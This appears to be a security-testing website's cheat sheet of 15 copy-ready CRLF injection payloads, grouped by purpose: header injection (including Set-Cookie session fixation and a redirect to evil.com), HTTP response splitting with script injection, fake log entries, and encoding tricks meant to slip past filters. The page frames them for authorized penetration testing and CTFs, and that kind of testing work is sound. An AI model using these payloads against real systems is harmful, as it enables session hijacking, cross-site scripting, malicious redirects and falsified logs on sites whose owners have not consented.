Skip to content
Payload Playground

CRLF Injection Cheat Sheet

CRLF injection payloads for HTTP response splitting, header injection, and log poisoning. (15 payloads)

Build custom CRLF payloads in the CRLF Injection generator

Header Injection

(5)
%0d%0aX-Injected: true
Inject custom header
%0d%0aSet-Cookie: session=attacker
Session fixation via Set-Cookie
%0d%0aLocation: https://evil.com
Redirect via Location header
%0aX-Forwarded-For: 127.0.0.1
LF-only header injection
\r\nX-Injected: true
Raw CRLF (if unescaped)

Response Splitting

(2)
%0d%0a%0d%0a<html><script>alert(1)</script></html>
Full response body injection (XSS)
%0d%0aContent-Length: 0%0d%0a%0d%0aHTTP/1.1 200 OK%0d%0aContent-Type: text/html%0d%0a%0d%0a<script>alert(1)</script>
Second response injection

Log Poisoning

(2)
%0d%0a[INFO] Admin login successful
Fake log entry injection
%0d%0a[2024-01-01] Authorized access granted
Timestamped fake log entry

Encoding Variations

(6)
%0d%0a
URL-encoded CRLF
%0a
URL-encoded LF only
%0d
URL-encoded CR only
%E5%98%8A%E5%98%8D
Unicode CRLF bypass
%25%30%61
Double-encoded LF
%%0d0a
Partial double-encoding
ShareXLinkedInReddit

Level up your security testing

References

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the CRLF Injection Cheat Sheet?+

It's a quick-reference collection of 15 CRLF payloads for testing CRLF Injection vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these CRLF payloads?+

Copy any payload straight into your authorized test, or open the CRLF Injection generator to build customized CRLF variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these CRLF payloads free to use?+

Yes — this cheat sheet and all CRLF payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/crlf-injection) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.